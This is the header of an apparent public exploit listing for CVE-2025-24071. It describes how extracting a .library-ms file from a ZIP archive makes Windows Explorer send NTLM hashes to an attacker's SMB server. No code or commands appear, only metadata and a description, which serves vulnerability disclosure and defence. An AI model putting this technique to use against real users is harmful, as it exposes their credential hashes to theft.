# Exploit Title: Windows File Explorer Windows 11 (23H2) - NTLM Hash Disclosure
# Exploit Author: Mohammed Idrees Banyamer
# Twitter/GitHub:https://github.com/mbanyamer 
# Date: 2025-05-27
# CVE: CVE-2025-24071
# Vendor: Microsoft
# Affected Versions: Windows 10/11 (All supporting .library-ms and SMB)
# Tested on: Windows 11 (23H2)
# Type: Local / Remote (NTLM Leak)
# Platform: Windows
# Vulnerability Type: Information Disclosure
# Description:
#   Windows Explorer automatically initiates an SMB authentication request when a
#   .library-ms file is extracted from a ZIP archive. This causes NTLM credentials
#   (in hashed format) to be leaked to a remote SMB server controlled by the attacker.
#   No user interaction is required beyond extraction.
